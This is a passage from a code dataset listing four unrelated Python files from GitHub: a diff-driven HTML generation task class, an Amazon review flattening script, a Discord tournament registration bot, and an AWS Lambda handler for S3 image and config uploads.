document_name = diff.old_object_ref.name\n        except:\n            document_name = diff.new_object_ref.name\n        return document_name + \".task1.html\"\n\n    def add(self, diff, filepath):\n\n        if os.path.isfile(filepath):\n            relative_path = os.path.join(self._additional_templates_path, self._additional_templates[\"document\"])\n        else:\n            relative_path = self._template_name\n\n        template_file = open(self._template_folder_path + relative_path)\n        template = template_file.read()\n        template_file.close()\n        content = Template(template).render(element=diff.new_object_ref)\n        parser = self._generator.get_parser(filepath)\n\n        if os.path.isfile(filepath):\n            tracer = self._generator.tracer\n            for trace in tracer.get_traces(diff.new_object_ref.id, self._generator.id):\n                parser.insert_element_by_path(trace.old_path, content)\n        else:\n            parser.parser.parseStr(content)\n\n    def add_with_file(self, diff, filepath):\n        template_file = open(self._template_folder_path + self._additional_templates[\"document\"])\n        template = template_file.read()\n        template_file.close()\n        content = Template(template).render(element=diff.new_object_ref)\n        parser = self._generator.get_parser(filepath)\n        parser.parser.parseStr(content)\n\n    def remove(self, diff, filepath):\n        id_ = diff.old_object_ref.id\n        self._generator.get_parser(filepath).remove_element_by_id(id_)\n\n    def change(self, diff, filepath):\n        parser = self._generator.get_parser(filepath)\n        tracer = self._generator.tracer\n\n        if diff.operation_type in [OperationType.CHANGE]:\n            old_element = diff.old_object_ref\n            new_element = diff.new_object_ref\n        else:\n            old_element = diff.old_object_ref.elements[diff.key]\n            new_element = diff.new_object_ref.elements[diff.key]\n\n        for trace in tracer.get_traces(diff.key, self._generator.id):\n            old_property_xpaths = self.get_property_traces(old_element)[diff.property_name]\n            new_property_xpaths = self.get_property_traces(new_element)[diff.property_name]\n            template_file = open(os.path.join(\"../templates/\",\n                                              self._template_name))\n            template = template_file.read()\n            template_file.close()\n\n            content = Template(template).render(element=diff.new_object_ref)\n\n            for old_property_xpath, new_property_xpath in zip(old_property_xpaths, new_property_xpaths):\n                parser.update_element_by_path(old_property_xpath, new_property_xpath, content)\n\n    def subelement_add(self, diff, filepath):\n        parser = self._generator.get_parser(filepath)\n        tracer = self._generator.tracer\n        for trace in tracer.get_traces(diff.new_value.id, self._generator.id):\n            template_file = open(os.path.join(self._template_folder_path,\n                                              self._additional_templates_path,\n                                              self._additional_templates[\"field\"]))\n            template = template_file.read()\n            template_file.close()\n            content = Template(template).render(element=diff.new_value)\n\n            parser.insert_element_by_path(trace.old_path, content)\n\n    def subelement_remove(self, diff, filepath):\n        parser = self._generator.get_parser(filepath)\n        parser.remove_element_by_id(diff.old_value.id)\n\n    def subelement_change(self, diff, filepath):\n        parser = self._generator.get_parser(filepath)\n        parser.update_element_by_id(diff.key, diff.property_name, diff.new_value)\n\n    def check_if_element_exists(self, id_, filepath):\n        parser = self._generator.get_parser(filepath)\n        return parser.check_if_element_exists(id_)\n\n    def ignore(self, diff, filepath):\n        pass\n\n    def raise_issue(self, diff, filepath):\n        raise GenerationValidationException(\"Resolve issue later\")\n\n    def recreate(self, diff, filepath):\n        if diff.operation_type is OperationType.CHANGE:\n            self.add(diff, filepath)\n        elif diff.operation_type is OperationType.SUBELEMENT_CHANGE:\n            self.subelement_add(diff, filepath)\n\n    def recreate_parent(self, diff, filepath):\n        if diff.operation_type is OperationType.SUBELEMENT_CHANGE:\n            if not os.path.isfile(filepath):\n                self.add(diff, filepath)\n        elif diff.operation_type is OperationType.SUBELEMENT_ADD:\n            self.subelement_add(diff, filepath)\n        elif diff.operation_type is OperationType.SUBELEMENT_REMOVE:\n            pass\n\n    def compare_versions(self, diff, filepath):\n        pass\n\n    def generate_file(self, diff, filepath):\n        \"\"\"Actual file generation from model element.\"\"\"\n\n        self.insert_traces(diff)\n\n        method = None\n        questions = []\n\n        if diff.operation_type == OperationType.ADD:\n            method = self.add\n\n        elif diff.operation_type == OperationType.REMOVE:\n            exists, element = self.check_if_element_exists(diff.key, filepath)\n            if exists:\n                method = self.remove\n            else:\n                question = Question(DOES_NOT_EXIST_TITLE, DOES_NOT_EXIST_TEXT.format(str(diff.old_object_ref)))\n                question.element_xpath = self.generator.get_parser(filepath).get_element_xpath(element)\n                assignment_set_a1 = AssignmentSet(Assignment(self.ignore))\n                assignment_set_a1.setup_context(diff=diff, filepath=filepath)\n                a1 = Answer(IGNORE, assignment_set_a1)\n\n                assignment_set_a2 = AssignmentSet(Assignment(self.raise_issue))\n                assignment_set_a2.setup_context(diff=diff, filepath=filepath)\n                a2 = Answer(RAISE_ISSUE, assignment_set_a2)\n                question.answers = [a1, a2]\n                questions.append(question)\n\n        elif diff.operation_type in [OperationType.CHANGE, OperationType.SUBELEMENT_CHANGE]:\n            exists, element = self.check_if_element_exists(diff.key, filepath)\n            if exists:\n                self.compare_versions(diff, filepath)\n                method = self.change\n            else:\n                question = Question(DOES_NOT_EXIST_TITLE, DOES_NOT_EXIST_TEXT.format(str(diff.old_object_refl)))\n                question.element_xpath = self.generator.get_parser(filepath).get_element_xpath(element)\n                assignment_set_a1 = AssignmentSet(Assignment(self.ignore))\n                assignment_set_a1.setup_context(diff=diff, filepath=filepath)\n                a1 = Answer(IGNORE, assignment_set_a1)\n\n                assignment_set_a2 = AssignmentSet(Assignment(self.recreate))\n                assignment_set_a2.setup_context(diff=diff, filepath=filepath)\n                a2 = Answer(RECREATE, assignment_set_a2)\n                question.answers = [a1, a2]\n                questions.append(question)\n\n        elif diff.operation_type == OperationType.SUBELEMENT_ADD:\n            parent_element = diff.old_object_ref\n            exists, element = self.check_if_element_exists(parent_element.id, filepath)\n            if not exists:\n                question = Question(DOES_NOT_EXIST_TITLE, DOES_NOT_EXIST_TEXT.format(str(parent_element)))\n                assignment_set_a1 = AssignmentSet(Assignment(self.ignore))\n                assignment_set_a1.setup_context(diff=diff, filepath=filepath)\n                a1 = Answer(IGNORE, assignment_set_a1)\n\n                assignment_set_a2 = AssignmentSet(Assignment(self.recreate_parent), Assignment(self.subelement_add))\n                assignment_set_a2.setup_context(diff=diff, filepath=filepath)\n                a2 = Answer(RECREATE, assignment_set_a2)\n                question.answers = [a1, a2]\n                questions.append(question)\n\n            new_element = diff.new_value\n            exists, element = self.check_if_element_exists(new_element.id, filepath)\n            if exists:\n                question = Question(ALREADY_EXISTS_TITLE, ALREADY_EXISTS_TITLE.format(str(new_element)))\n                question.element_xpath = self.generator.get_parser(filepath).get_element_xpath(element)\n                assignment_set_a1 = AssignmentSet(Assignment(self.ignore))\n                assignment_set_a1.setup_context(diff=diff, filepath=filepath)\n                a1 = Answer(IGNORE, assignment_set_a1)\n\n                assignment_set_a2 = AssignmentSet(Assignment(self.subelement_add))\n                assignment_set_a2.setup_context(diff=diff, filepath=filepath)\n                a2 = Answer(ADD, assignment_set_a2)\n                question.answers = [a1, a2]\n                questions.append(question)\n            else:\n                method = self.subelement_add\n\n        elif diff.operation_type == OperationType.SUBELEMENT_REMOVE:\n            parent_element = diff.old_object_ref\n            exists, element = self.check_if_element_exists(parent_element.id, filepath)\n            if not exists:\n                question = Question(DOES_NOT_EXIST_TITLE, DOES_NOT_EXIST_TEXT.format(str(parent_element)))\n                assignment_set_a1 = AssignmentSet(Assignment(self.ignore))\n                assignment_set_a1.setup_context(diff=diff, filepath=filepath)\n                a1 = Answer(IGNORE, [self.ignore])\n\n                assignment_set_a2 = AssignmentSet(Assignment(self.recreate), Assignment(self.subelement_remove))\n                assignment_set_a2.setup_context(diff=diff, filepath=filepath)\n                a2 = Answer(RECREATE, assignment_set_a2)\n                question.answers = [a1, a2]\n                questions.append(question)\n            else:\n                method = self.subelement_remove\n\n        elif diff.operation_type == OperationType.SUBELEMENT_CHANGE:\n            parent_element = diff.old_object_ref\n            exists, element = self.check_if_element_exists(parent_element.id, filepath)\n            if not exists:\n                question = Question(DOES_NOT_EXIST_TITLE, DOES_NOT_EXIST_TEXT.format(str(parent_element)))\n                question.element_xpath = self.generator.get_parser(filepath).get_element_xpath(element)\n                assignment_set_a1 = AssignmentSet(Assignment(self.ignore))\n                assignment_set_a1.setup_context(diff=diff, filepath=filepath)\n                a1 = Answer(IGNORE, assignment_set_a1)\n\n                assignment_set_a2 = AssignmentSet(Assignment(self.recreate))\n                assignment_set_a2.setup_context(diff=diff, filepath=filepath)\n                a2 = Answer(RECREATE, assignment_set_a2)\n                question.answers = [a1, a2]\n                questions.append(question)\n            else:\n                method = self.subelement_change\n\n        assignment_set = AssignmentSet(Assignment(method))\n        assignment_set.setup_context(diff=diff, filepath=filepath, task=self)\n        return assignment_set, questions\n\n    def evaluate_single_element_template(self, diff):\n        folder_name = class_object_to_underscore_format(type(self))\n        path = os.path.join(self._generator.templates_path, folder_name)\n\n    def get_traces(self, diff):\n        return self._generator.tracer.get_traces(diff.key, self._generator.id)\n\n    def get_selection_trace(self, element):\n        if type(element) is Document:\n            return \"//body/div[@_id=\\\"\" + str(element.id) + \"\\\"]\"\n        if issubclass(type(element), Field):\n            return \"//body/div[@_id=\\\"\" + str(element.container.id) + \"\\\"]/ul/li[@_id=\\\"\" + str(element.id) + \"\\\"]\"\n\n    def get_insertion_trace(self, element):\n        if type(element) is Document:\n            return \"//body\"\n        if issubclass(type(element), Field):\n            return \"//body/div[@_id=\\\"\" + str(element.container.id) + \"\\\"]/ul\"\n\n    def get_property_traces(self, element):\n        properties = {}\n        if type(element) is Document:\n            properties[\"id\"] = [\"//body/div[@_id=\\\"\" + str(element.id) + \"\\\"]\"]\n            properties[\"name\"] = [\"//body/div[@_id=\\\"\" + str(element.id) + \"\\\"]/p[text()=\\\"My document name: \" +\n                                  str(element.name) + \"\\\"]\"]\n            properties[\"project.id\"] = [\"//body/div[@_id=\\\"\" + str(element.id) +\n                                        \"\\\"]/p[text()=\\\"Parent project id:  \" + str(element.container.id) + \"\\\"]\"]\n            properties[\"project.name\"] = [\"//body/div[@_id=\\\"\" + str(element.id) +\n                                          \"\\\"]/p[text()=\\\"Parent project name:  \" + str(element.container.name) + \"\\\"]\"]\n\n        if issubclass(type(element), Field):\n            properties[\"id\"] = [\"//body/div[@_id=\\\"\" + str(element.container.id) + \"\\\"]/ul/li[@_id]\"]\n            properties[\"name\"] = [\"//body/div[@_id=\\\"\" + str(element.container.id) + \"\\\"]/ul/li[@_id=\\\"\" +\n                                  str(element.id) + \"\\\"][text()=\\\"Field (\" + str(element.name) + \")\\\"]\",\n\n                                  \"//body/div[@_id=\\\"\" + str(element.container.id) + \"\\\"]/ul/li[@_id=\\\"\" +\n                                  str(element.id) + \"\\\"]\"]\n\n        return properties\n","repo_name":"BojanaZ/SeamlessMDD","sub_path":"transformation/tasks/diff_tasks/demo_manual_traces_task.py","file_name":"demo_manual_traces_task.py","file_ext":"py","file_size_in_byte":15501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"4389706962","text":"# This code flattens Amazon product reviews into csv file\r\nimport json\r\nimport os\r\nimport sys\r\nimport pandas\r\nimport flatten_json\r\nsys.path.append(\"etl_lib\")\r\nimport etl_lib\r\n\r\namazon_reviews =\"/Volumes/My Passport/BU - Data warehousing/datasets/AmazonReviews\"\r\ntop_level_keys =[u'Reviews', u'ProductInfo']\r\nreview_keys =[u'Author', u'ReviewID', u'Overall', u'Content', u'Title', u'Date']\r\nproduct_keys =[u'Price', u'ProductID', u'Features', u'ImgURL', u'Name']\r\n\r\n# For each product there are many reviews ie. 1 to many relationship\r\n\r\n#Print columns first\r\ncategory_list=[dir.strip() for dir in os.listdir(amazon_reviews) if dir != '.DS_Store']\r\nlog_file = open(\"print_amzn.log\",\"w\")\r\nexception_log = open(\"print_amzn_except.log\",\"w\")\r\n\r\nfor category in category_list:\r\n full_dir_path = amazon_reviews + \"/\" + category\r\n file_list = [fl for fl in os.listdir(full_dir_path) if fl != '.DS_Store']\r\n for fl in file_list:\r\n    try:\r\n     with open(full_dir_path + \"/\" + fl) as f:\r\n      data = f.read()\r\n      jsondata = json.loads(data)\r\n      for row in jsondata:\r\n          # Pull the product info first\r\n          #Notice the use of string to deal with None return values in case lookup of column fails\r\n          product_info=\"@\".join([jsondata['ProductInfo'][key] or '' for key in product_keys])\r\n          number_reviews = len(jsondata['Reviews'])\r\n          for i in range(number_reviews):\r\n              review = jsondata['Reviews'][i]\r\n              review_info=\"@\".join([review[key] or '' for key in review_keys])\r\n              #use * as record terminator\r\n              sys.stdout.write(category + \"@\" + product_info + \"@\" + review_info + \"*\")\r\n    except:\r\n        exception_log.write(str(sys.exc_info()[0]) + \"\\n\")\r\n        log_file.write(full_dir_path + \"/\" + fl + \"\\n\")\r\n\r\nlog_file.close()\r\nexception_log.close()\r\n\r\n","repo_name":"avneechadha/Amazon-Reviews-Dataset","sub_path":"print_amzn.py","file_name":"print_amzn.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"14449951978","text":"import discord\nimport asyncio\nimport pickle\n\nwith open(\"contestantsID.txt\", \"rb\") as fp:\n    local_contestantsID = pickle.load(fp)\n\nwith open(\"contestants.txt\", \"rb\") as fp:\n    local_contestants = pickle.load(fp)\n\ncommands = [\"register\",\"unregister\",\"help\",\"players\"]\ncommands_text = [\"Used followed by name like '>register PlayerName'\",\"Used followed by name like '>unregister PlayerName'\",\"Gives a list of commands\",\"Give a list of players in tournaments\"]\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n    print('Logged in as')\n    print(client.user.name)\n    print(client.user.id)\n    print('-----------')\n\n\n@client.event\nasync def on_message(message):\n    b = message.author.id\n    if message.content.startswith('>register'):\n        if len(local_contestants) == 16:\n            await message.channel.send(\"The tournament is full right now!\")\n\n        else:\n            m = message.content.split()\n            try:\n                a = m[1].upper()\n                await message.channel.send(a+\", will be your name in the tournament!\")\n                local_contestants.append(a)\n                local_contestantsID.append(b)\n                with open(\"contestants.txt\", \"wb\") as fp:\n                    pickle.dump(local_contestants, fp)\n\n                with open(\"contestantsID.txt\", \"wb\") as fp:\n                    pickle.dump(local_contestantsID, fp)\n\n            except:\n                await message.channel.send(\"You did not give me a name!\")\n\n    elif message.content.startswith('>unregister'):\n        m = message.content.split()\n\n        try:\n            a = m[1].upper()\n\n            for x in range(0,len(local_contestants)):\n                if local_contestants[x] == a:\n                    if message.author.id == local_contestantsID[x]:\n                        local_contestants.pop(x)\n                        local_contestantsID.pop(x)\n\n\n                        with open(\"contestants.txt\", \"wb\") as fp:\n                            pickle.dump(local_contestants, fp)\n\n                        with open(\"contestantsID.txt\", \"wb\") as fp:\n                            pickle.dump(local_contestantsID, fp)\n\n                        await message.channel.send(\"Done!\")\n\n                    else:\n                        await message.channel.send(\"That is not your registration!\")\n\n        except:\n            await message.channel.send(\"You did not give me a name!\")\n\n\n    elif message.content.startswith('>help'):\n        for i in range(0,len(commands)):\n            await message.channel.send(commands[i])\n            await message.channel.send(commands_text[i])\n            await message.channel.send(\"-------------\")\n\n    elif message.content.startswith('>players'):\n\n        await message.channel.send(\"Currently, there are \"+ str(len(local_contestants)) +\" players in the tournament:\")\n\n        for i in range(0,len(local_contestants)):\n            await message.channel.send(local_contestants[i])\n\n    elif message.content.startswith('>purge'):\n        if message.author.id == 340610417967497216 or message.author.id == 364830006334980096:\n            local_contestants.clear()\n            local_contestantsID.clear()\n\n            with open(\"contestants.txt\", \"wb\") as fp:\n                pickle.dump(local_contestants, fp)\n\n            with open(\"contestantsID.txt\", \"wb\") as fp:\n                pickle.dump(local_contestantsID, fp)\n\n            await message.channel.send(\"Done!\")\n\n    elif message.content.startswith('>delete'):\n        if message.author.id == 340610417967497216 or message.author.id == 364830006334980096:\n            m = message.content.split()\n            a = m[1].upper()\n\n            for l in range(0,len(local_contestants)):\n                if local_contestants[l] == a:\n                    local_contestants.pop(l)\n                    local_contestantsID.pop(l)\n\n\n                    with open(\"contestants.txt\", \"wb\") as fp:\n                        pickle.dump(local_contestants, fp)\n\n                    with open(\"contestantsID.txt\", \"wb\") as fp:\n                        pickle.dump(local_contestantsID, fp)\n\n                    await message.channel.send(\"Done!\")\n\n    elif message.content.startswith('>data'):\n        if message.author.id == 340610417967497216 or message.author.id == 364830006334980096:\n            await message.channel.send(local_contestants)\n            await message.channel.send(local_contestantsID)\n\n    elif message.content.startswith('>timer'):\n        await message.channel.send(\"Tournaments are held every Friday at 5:00 PM BST.\")\n\n\n\n\nf = open(\"env.txt\", \"r\")\ncontents = f.read()\nclient.run(contents)\n","repo_name":"Spiderfav/Discord-BOT","sub_path":"Discord.py","file_name":"Discord.py","file_ext":"py","file_size_in_byte":4602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"29572454096","text":"#sam deploy --no-confirm-changeset\nimport json\nimport os\nimport logging\nimport boto3\nimport io\n#import request\nfrom botocore.exceptions import ClientError  # type: ignore[import]\nimport base64\nimport copy\n\nfrom common import cors_headers\n\nlogger = logging.getLogger('scambiupload')\nlogger.setLevel(logging.INFO)\n\nSCAMBIFOLDER = os.environ.get('SCAMBIFOLDER')\nSCAMBIIMAGES = os.environ.get('SCAMBIIMAGES')\nSCAMBICONFIG = os.environ.get('SCAMBICONFIG')\nCONFIG_FILE = os.environ.get('CONFIG_FILE')\nSAMPLE_CONFIG_FILE = os.environ.get('SAMPLE_CONFIG_FILE')\nSIM_LAMBDA = os.environ.get('SIM_LAMBDA')\nRAW_IMAGE = os.environ.get('RAW_IMAGE')\nOVERLAY_IMAGE = os.environ.get('OVERLAY_IMAGE')\nSCAMBIWEB = os.environ.get('SCAMBIWEB')\n_EVENT_QUEUE_URL = os.environ.get('EVENT_QUEUE_URL')\nEVENTS_TABLE = os.environ.get('EVENTS_TABLE')\n\ns3_client = boto3.resource('s3')\nsqs_client = boto3.client('sqs')\n# sqs_url = sqs_client.get_queue_url(\n#         QueueName=\"positions\",\n#     )\ndynamodb = boto3.resource('dynamodb')\ndb_table_client = dynamodb.Table(EVENTS_TABLE)\nlambda_client = boto3.client('lambda')\n\ndef purge_queue(_sqs_client, queue_url):\n    \"\"\"\n    Deletes the messages in a specified queue\n    \"\"\"\n    try:\n        response = _sqs_client.purge_queue(QueueUrl=queue_url)\n    except ClientError:\n        logger.exception(f'Could not purge the queue - {queue_url}.')\n        raise\n    else:\n        return response\n\ndef send_message(queue, message_body, message_attributes=None):\n    \"\"\"\n    Send a message to an Amazon SQS queue.\n\n    :param queue: The queue that receives the message.\n    :param message_body: The body text of the message.\n    :param message_attributes: Custom attributes of the message. These are key-value\n                               pairs that can be whatever you want.\n    :return: The response from SQS that contains the assigned message ID.\n    \"\"\"\n    if not message_attributes:\n        message_attributes = {}\n\n    try:\n        response = queue.send_message(\n            MessageBody=message_body,\n            MessageAttributes=message_attributes\n        )\n    except ClientError as error:\n        logger.exception(\"Send message failed: %s\", message_body)\n        raise error\n    else:\n        return response\n\nclass Boto3S3Client():\n\n    def __init__(self, aws_region):\n        self._aws_region = aws_region\n        self._s3_client = boto3.client(  # type: ignore[attr-defined]\n            's3',\n            region_name=aws_region\n            )\n\n    def write_img(\n        self,\n        img,\n        bucket_name: str,\n        folder_name: str,\n        object_name: str\n    ):\n        if folder_name is None:\n            self._s3_client.put_object(\n                Bucket=bucket_name,\n                Key=f\"{object_name}\",\n                Body=bytes(img))\n        else:\n            self._s3_client.put_object(\n                Bucket=bucket_name,\n                Key=f\"{folder_name}/{object_name}\",\n                Body=img)\n\n    def delete(\n            self,\n            bucket_name: str,\n            folder_name: str,\n            object_name: str\n    ):\n\n        if folder_name is None:\n            self._s3_client.delete_object(\n                Bucket=bucket_name,\n                Key=object_name)\n\n        else:\n            self._s3_client.delete_object(\n                Bucket=bucket_name,\n                Key=f\"{folder_name}/{object_name}\"\n                )\n\n    def write(\n            self,\n            input_bytes: bytes,\n            *,\n            bucket_name: str,\n            folder_name: str,\n            object_name: str\n    ):\n\n        bytes_io = io.BytesIO(input_bytes)\n        if folder_name is None:\n            self._s3_client.upload_fileobj(\n                bytes_io,\n                bucket_name,\n                object_name\n                )\n        else:\n            self._s3_client.upload_fileobj(\n                bytes_io,\n                bucket_name,\n                f\"{folder_name}/{object_name}\"\n                )\n\n    def read(\n            self,\n            *,\n            bucket_name: str,\n            folder_name: str,\n            object_name: str,\n    ):\n\n        obj = io.BytesIO()\n        try:\n            self._s3_client.download_fileobj(\n                bucket_name,\n                f\"{folder_name}/{object_name}\",\n                obj)\n        except ClientError as error:\n            # logging here\n            raise error\n\n        return obj.getvalue()\n\n    def list_files(\n            self,\n            *,\n            bucket_name: str,\n            folder_name: str,\n    ):\n\n        #  paginator required to avoid item limitation returned\n        #  by list_objects_v2\n        paginator = self._s3_client.get_paginator('list_objects_v2')\n        pages = paginator.paginate(\n            Bucket=bucket_name,\n            Prefix=folder_name)\n\n        files = []\n        for page in pages:\n            files += [i[\"Key\"] for i in page[\"Contents\"]]\n\n        out_filenames = []\n        prefix = folder_name + \"/\"\n        for file in files:\n            #  ensure file has folder prefix\n            if file[0:len(prefix)] == prefix:\n                out_filenames.append(file.replace(prefix, \"\"))\n\n        return out_filenames\ns3_custom = Boto3S3Client(\"us-east-1\")\n\n\ndef decode_image_from_str(encoded_image: str):\n    \"\"\"decodes image from string. Expects base64 encoding\n\n    Args:\n        encoded_image: str representing image\n\n    Returns:\n        np.array image\"\"\"\n    jpg_original = base64.b64decode(encoded_image)\n    return jpg_original\n\n\ndef str_to_bytes(string_: str):\n    return str.encode(string_)\n\n\ndef bytes_to_str(bytes_: bytes):\n    return bytes_.decode()\n\n\ndef lambda_handler(event, context):\n\n\n    order = json.loads(event['body'])\n    # this is the dynamic reference in template.yaml\n    authentication_code = order['authentication']\n\n    if authentication_code not in [\"farts\", \"teehee\"]:\n        print(\"bad log in\")\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({'message': 'stranger danger'})\n        }\n\n    action = order['action']\n\n    if action == \"image_raw\":\n\n        image_bytes = str_to_bytes(order['payload'])\n        img_jpg = decode_image_from_str(order['payload'])\n        s3_custom.write(\n            input_bytes=image_bytes,\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBIIMAGES,\n            object_name=RAW_IMAGE)\n\n        s3_custom.write_img(\n            img=img_jpg,\n            bucket_name=SCAMBIWEB,\n            folder_name=None,\n            object_name=RAW_IMAGE)\n\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': 'uploaded image to ',\n                'bucketfiles': \"\"})\n        }\n\n    if action == \"image_overlay\":\n\n        image_bytes = str_to_bytes(order['payload'])\n\n        img_jpg = decode_image_from_str(order['payload'])\n\n        s3_custom.write(\n            input_bytes=image_bytes,\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBIIMAGES,\n            object_name=OVERLAY_IMAGE)\n\n        s3_custom.write_img(\n            img=img_jpg,\n            bucket_name=SCAMBIWEB,\n            folder_name=None,\n            object_name=OVERLAY_IMAGE)\n\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': 'uploaded image to ',\n                'bucketfiles': \"\"})\n        }\n\n    if action == \"getimage_raw\":\n\n        obj = s3_custom.read(\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBIIMAGES,\n            object_name=RAW_IMAGE)\n\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': 'got raw image ok',\n                'image': bytes_to_str(obj)})\n        }\n\n    if action == \"getimage_overlay\":\n\n        obj = s3_custom.read(\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBIIMAGES,\n            object_name=OVERLAY_IMAGE)\n\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': 'got overlay image ok',\n                'image': bytes_to_str(obj)})\n        }\n\n    if action in [\"check_event\"]:\n        # check for event and then remove all\n        scan = db_table_client.scan()# do not use on big tables!!\n\n        print(\"getting event\", scan['Items'])\n        output = copy.deepcopy(scan['Items'])\n        with db_table_client.batch_writer() as batch:\n            for each in scan['Items']:\n                batch.delete_item(Key=each)\n        return{\n            'statusCode': 200,\n            'headers': cors_headers,\n            'body': json.dumps(output)\n        }\n    if action in [\n                    \"reset\",\n                    \"update_image\",\n                    \"update_image_all\"]:\n\n\n        if action in [\"update_image\", \"update_image_all\"]:\n            s3_custom.delete(\n                bucket_name=SCAMBIWEB,\n                folder_name=None,\n                object_name=OVERLAY_IMAGE)\n            s3_custom.delete(\n                bucket_name=SCAMBIWEB,\n                folder_name=None,\n                object_name=RAW_IMAGE)\n        # we onlyt want one action at a time\n\n        scan = db_table_client.scan()# do not use on big tables!!\n        print(scan['Items'])\n        with db_table_client.batch_writer() as batch:\n            for each in scan['Items']:\n                batch.delete_item(Key=each)\n\n        response = db_table_client.put_item(\n            Item={\n                'event': action\n            }\n        )\n        \n        status_code = response['ResponseMetadata']['HTTPStatusCode']\n        print(\"WRITE TO DB\", status_code)\n\n        # need this for CORS\n        return{\n            'statusCode': 200,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': f'{action} ok'})\n        }\n    #sam deploy --no-confirm-changeset\n    if action == \"send_sample_config\":\n        click_data = (order['data'])\n        messages_bytes = str_to_bytes(json.dumps(click_data))\n        print(messages_bytes)\n\n        # now load existing one\n        curr_config_bytes = s3_custom.read(\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBICONFIG,\n            object_name=SAMPLE_CONFIG_FILE)\n\n        curr_config_str = bytes_to_str(curr_config_bytes)\n        curr_config_json = json.loads(curr_config_str)\n        print(\"curr_config_json\", curr_config_json)\n        print(\"type curr_config_json\", type(curr_config_json))\n        print(\"click_data\", click_data)\n        print(\"type click_data\", type(click_data))\n        \n        # check both have same keys\n        if not set(curr_config_json.keys()) == set(click_data.keys()):\n            return {\n                'statusCode': 201,\n                'headers': cors_headers,\n                'body': json.dumps({\n                    'message': \"ERROR - CONFIG KEYS DO NOT MATCH - RELOAD DEFAULTS\"})\n            }\n        s3_custom.write(\n            input_bytes=messages_bytes,\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBICONFIG,\n            object_name=SAMPLE_CONFIG_FILE)\n\n        # need this for CORS\n        return {\n            'statusCode': 200,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': \"send_sample_config ok\"})\n        }\n\n    if action == \"get_region_sim\":\n        print(\"get region sim\")\n        lambda_payload = json.dumps({}).encode('utf-8') # doesnt matter for now - but add action in here later\n        print(\"get region sim created json\")\n        response = lambda_client.invoke(FunctionName=SIM_LAMBDA,\n                     InvocationType='RequestResponse',\n                     Payload=lambda_payload)\n        print(\"region sim response\", response)\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': 'request_config ok',\n                'config': bytes_to_str(config_bytes)})\n        }\n\n    if action == \"request_config\":\n\n        config_bytes = s3_custom.read(\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBICONFIG,\n            object_name=CONFIG_FILE)\n        print(\"req\", config_bytes)\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': 'request_config ok',\n                'config': bytes_to_str(config_bytes)})\n        }\n    if action == \"request_sample_config\":\n\n        config_bytes = s3_custom.read(\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBICONFIG,\n            object_name=SAMPLE_CONFIG_FILE)\n        print(\"req\", config_bytes)\n        return{\n            'statusCode': 201,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': 'request_sample_config ok',\n                'config': bytes_to_str(config_bytes)})\n        }\n    if action == \"sendposfinish\":\n        # should be a list of dictionaries\n        click_data = (order['data'])\n\n        # for getting objects off a queue\n        # clickpositions = []\n        # for get_msg in range(0, 200):\n        #     # Receive message from SQS queue\n        #     response = sqs_client.receive_message(\n        #         QueueUrl=_EVENT_QUEUE_URL,\n        #         AttributeNames=[\n        #             'SentTimestamp'\n        #         ],\n        #         MaxNumberOfMessages=1,\n        #         MessageAttributeNames=[\n        #             'All'\n        #         ],\n        #         VisibilityTimeout=0,\n        #         WaitTimeSeconds=0\n        #     )\n\n        #     # obviously much better way of doing this\n        #     if 'Messages' not in response:\n        #         break\n\n        #     message = response['Messages'][0]\n        #     clickpositions.append(message['Body'])\n        #     receipt_handle = message['ReceiptHandle']\n\n        #     # Delete received message from queue\n        #     sqs_client.delete_message(\n        #         QueueUrl=_EVENT_QUEUE_URL,\n        #         ReceiptHandle=receipt_handle\n        #     )\n\n        messages_bytes = str_to_bytes(json.dumps(click_data))\n        print(messages_bytes)\n        s3_custom.write(\n            input_bytes=messages_bytes,\n            bucket_name=SCAMBIFOLDER,\n            folder_name=SCAMBICONFIG,\n            object_name=CONFIG_FILE)\n\n        # need this for CORS\n        return {\n            'statusCode': 200,\n            'headers': cors_headers,\n            'body': json.dumps({\n                'message': \"processed OK\"})\n        }\n\n    return{\n        'statusCode': 201,\n        'headers': cors_headers,\n        'body': json.dumps({\n            'message': 'unmatched action'})\n    }\n","repo_name":"LiellPlane/DJI_UE4_poc","sub_path":"Source/infra/scambilight/scambi/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":14826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
